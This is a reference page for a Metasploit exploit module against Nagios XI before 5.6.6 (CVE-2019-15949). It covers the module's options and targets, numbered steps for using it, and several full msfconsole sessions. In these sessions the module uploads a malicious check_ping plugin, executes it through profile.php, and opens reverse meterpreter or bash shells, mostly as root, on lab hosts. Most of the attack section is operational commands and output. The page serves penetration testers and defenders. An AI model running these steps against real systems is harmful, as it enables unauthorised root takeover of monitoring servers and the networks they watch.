Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution
Module: exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
Source code: modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb
Disclosure date: 2019-07-29
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-15949

This module exploits a vulnerability in the getprofile.sh script of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping plugin and thereby execute arbitrary commands. For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user. For versions 5.5.0-5.6.5 the commands are run as root. Note that versions prior to 5.2.0 will still be marked as being vulnerable however this module does not presently support exploiting these targets. The module uploads a malicious check_ping plugin to the Nagios XI server via /admin/monitoringplugins.php and then executes this plugin by issuing a HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.3.0 and Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before 5.5.0, it may take a significant amount of time for the payload to get back (up to 5 minutes). If exploitation fails against an older system, it is recommended to increase the WfsDelay setting (default is 300 seconds). See the documentation for more information.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.

Basic Usage


msf > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
msf exploit(nagios_xi_plugins_check_plugin_authenticated_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • PASSWORD: Password to authenticate with

Knowledge Base


Vulnerable Application


This module exploits a vulnerability (CVE-2019-15949) in the getprofile.sh script of Nagios XI before 5.6.6 in order to execute arbitrary commands. For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user. For versions 5.5.0-5.6.5 the commands are run as root.

The module's check method takes advantage of the Msf::Exploit::Remote::HTTP::NagiosXi mixin in order to authenticate to the target and obtain the Nagios XI version number, which is then used to check if the target is Nagios XI prior to 5.6.6 and therefore vulnerable. A further check is then done to see if the target is a version prior to 5.2.0, as these versions are not supported at this time. If this is the case, the module will report that the target is vulnerable but cannot be exploited at this time and will exit. Otherwise, the module continues.

Next, the module uploads a malicious plugin to the target and subsequently sends an HTTP GET request to profile.php?cmd=download. This request downloads a system profile from the server and in the process launches the getprofile.sh script as root via a passwordless sudo entry, resulting in execution of the malicious plugin as the root user.

For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via a malicious check_ping plugin. However, this method may not work if Nagios XI is running in a restricted Unix environment like a minimal/custom CentOS installation. In the latter case, a malicious check_ping plugin will still be uploaded, however the target must be set to Linux (cmd) and it is recommended to use the default cmd/unix/reverse_bash payload.

For vulnerable versions before 5.5.0, it may take a significant amount of time for the payload to get back (up to 5 minutes). If the target is found to be vulnerable but the module completes without establishing a session, try increasing the value of WfsDelay (the additional delay when waiting for a session). The default value of this advanced option is 300 seconds. To check it, run show advanced and look for the WsfDelay option in the output. Other possible solutions are changing the payload, manually setting the value of the CMDSTAGER::FLAVOR advanced option, and setting the target to Linux (cmd) as explained above.

Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI versions 5.3.0 and 5.6.5 running on CentOS 7.

Vulnerable software for testing is available here. Detailed installation instructions are available here and an official video tutorial is available here.

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
  3. Do: set RHOSTS [IP]
  4. Do: set USERNAME [username for the Nagios XI account with administrative privileges]
  5. Do: set PASSWORD [password for the Nagios XI account with administrative privileges]
  6. Do: set target [target]
  7. Do: set payload [payload]
  8. Do: set LHOST [IP]
  9. Do: exploit

Options


FINISH_INSTALL

If this is set to true, the module will try to finish installing Nagios XI on targets where the installation has not been completed. This includes signing the license agreement. The default value is false.

PASSWORD

The password for the Nagios XI account to authenticate with.

TARGETURI

The base path to Nagios XI. The default value is /nagiosxi/.

USERNAME

The username for the Nagios XI account to authenticate with. The default value is nagiosadmin.

Targets


Id  Name
--  ----
0   Linux (x86)
1   Linux (x64)
2   Linux (cmd)

Scenarios


Nagios XI 5.6.5 running on CentOS 7 - Linux (x86) target

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14
rhosts => 192.168.1.14
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin
password => nagiosadmin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 0
target => 0
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed, try to do so
                                              . This includes signing the license agreement.
   PASSWORD        nagiosadmin      yes       Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          192.168.1.14     yes       The target host(s), range CIDR identifier, or hosts file with synt
                                              ax 'file:'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an
                                              address on the local machine or 0.0.0.0 to listen on all addresses
                                              .
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      yes       Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.28     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux (x86)


msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.6.5
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (809/809 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the plugin to request the final payload...
[*] Sending stage (980808 bytes) to 192.168.1.14
[*] Meterpreter session 1 opened (192.168.1.28:4444 -> 192.168.1.14:54214) at 2021-04-01 10:59:52 -0400
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)

Nagios XI 5.6.5 running on CentOS 7 - Linux (cmd) target

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.14
rhosts => 192.168.1.14
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosadmin
password => nagiosadmin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set target 2
target => 2
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed, try to do so
                                              . This includes signing the license agreement.
   PASSWORD        nagiosadmin      yes       Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          192.168.1.14     yes       The target host(s), range CIDR identifier, or hosts file with synt
                                              ax 'file:'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an
                                              address on the local machine or 0.0.0.0 to listen on all addresses
                                              .
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      yes       Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.28     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Linux (cmd)


msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.6.5
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the payload to connect back...
[*] Command shell session 2 opened (192.168.1.28:4444 -> 192.168.1.14:54242) at 2021-04-01 11:02:32 -0400
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.

id
uid=0(root) gid=0(root) groups=0(root)

Nagios XI 5.3.0 running on CentOS 7 (unfinished installation) - Linux (x64) target

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set rhosts 192.168.1.16
rhosts => 192.168.1.16
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set lhost 192.168.1.28
lhost => 192.168.1.28
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set password nagiosxi
password => nagiosxi
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set finish_install true
finish_install => true
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  true             no        If the Nagios XI installation has not been completed, try to do so
                                              . This includes signing the license agreement.
   PASSWORD        nagiosxi         yes       Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          192.168.1.16     yes       The target host(s), range CIDR identifier, or hosts file with synt
                                              ax 'file:'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an
                                              address on the local machine or 0.0.0.0 to listen on all addresses
                                              .
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      yes       Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.28     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)


msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.1.28:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[!] The target seems to be a Nagios XI application that has not been fully installed yet.
[*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`.
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[*] Attempting to sign the Nagios XI license agreement...
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.3.0
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[!] For NagiosXi version 5.3.0 it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 192.168.1.16
[*] Meterpreter session 1 opened (192.168.1.28:4444 -> 192.168.1.16:36098) at 2021-04-01 10:42:40 -0400
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.

meterpreter > getuid
Server username: nagios @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter >

Nagios XI 5.6.5 running on Ubuntu 20.04 LTS (finished installation) - Linux (x64) target

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOST 172.25.133.237
RHOST => 172.25.133.237
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 172.25.132.121
LHOST => 172.25.132.121
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LPORT 7712
LPORT => 7712
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed, try to do so. This includes s
                                              igning the license agreement.
   PASSWORD        nagiosadmin      yes       Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          172.25.133.237   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the lo
                                              cal machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      yes       Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.25.132.121   yes       The listen address (an interface may be specified)
   LPORT  7712             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)


msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > exploit

[*] Started reverse TCP handler on 172.25.132.121:7712
[*] Executing automatic check (disable AutoCheck to override)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.6.5
[+] The target appears to be vulnerable.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting up to 300 seconds for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 172.25.133.237
[*] Meterpreter session 1 opened (172.25.132.121:7712 -> 172.25.133.237:52646) at 2021-04-13 17:39:07 -0500
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.

meterpreter > getuid
Server username: root @ test-Virtual-Machine (uid=0, gid=0, euid=0, egid=0)
meterpreter > pwd
/usr/local/nagiosxi/html/includes/components/profile
meterpreter > shell
Process 3747 created.
Channel 1 created.
uname -a
Linux test-Virtual-Machine 5.4.0-70-generic #78~18.04.1-Ubuntu SMP Sat Mar 20 14:10:07 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Go back to menu.

Msfconsole Usage


Here is how the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show info

       Name: Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution
     Module: exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-07-29

Provided by:
  Jak Gibb
  Erik Wynter

Module side effects:
 artifacts-on-disk
 ioc-in-logs
 config-changes

Module stability:
 crash-safe

Available targets:
  Id  Name
  --  ----
  0   Linux (x86)
  1   Linux (x64)
  2   Linux (cmd)

Check supported:
  Yes

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement.
  PASSWORD                         yes       Password to authenticate with
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           80               yes       The target port (TCP)
  SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT         8080             yes       The local port to listen on.
  SSL             false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
  URIPATH                          no        The URI to use for this exploit (default is random)
  USERNAME        nagiosadmin      yes       Username to authenticate with
  VHOST                            no        HTTP server virtual host

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the getprofile.sh script of 
  Nagios XI prior to 5.6.6 in order to upload a malicious check_ping 
  plugin and thereby execute arbitrary commands. For Nagios XI 
  5.2.0-5.4.13, the commands are run as the nagios user. For versions 
  5.5.0-5.6.5 the commands are run as root. Note that versions prior 
  to 5.2.0 will still be marked as being vulnerable however this 
  module does not presently support exploiting these targets. The 
  module uploads a malicious check_ping plugin to the Nagios XI server 
  via /admin/monitoringplugins.php and then executes this plugin by 
  issuing a HTTP GET request to download a system profile from the 
  server. For all supported targets except Linux (cmd), the module 
  uses a command stager to write the exploit to the target via the 
  malicious plugin. This may not work if Nagios XI is running in a 
  restricted Unix environment, so in that case the target must be set 
  to Linux (cmd). The module then writes the payload to the malicious 
  plugin while avoiding commands that may not be supported. Valid 
  credentials for a user with administrative privileges are required. 
  This module was successfully tested on Nagios XI 5.3.0 and Nagios 
  5.6.5, both running on CentOS 7. For vulnerable versions before 
  5.5.0, it may take a significant amount of time for the payload to 
  get back (up to 5 minutes). If exploitation fails against an older 
  system, it is recommended to increase the WfsDelay setting (default 
  is 300 seconds). See the documentation for more information.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-15949
  https://github.com/jakgibb/nagiosxi-root-rce-exploit

Module Options


This is a complete list of options available in the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit:

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement.
   PASSWORD                         yes       Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      yes       Username to authenticate with
   VHOST                            no        HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)

Advanced Options


Here is a complete list of advanced options supported by the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit:

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show advanced

Module advanced options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
                                                                                         nvokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                300                                                 no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce module can exploit:

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (x86)
   1   Linux (x64)
   2   Linux (cmd)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_plugins_check_plugin_authenticated_rce exploit:

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
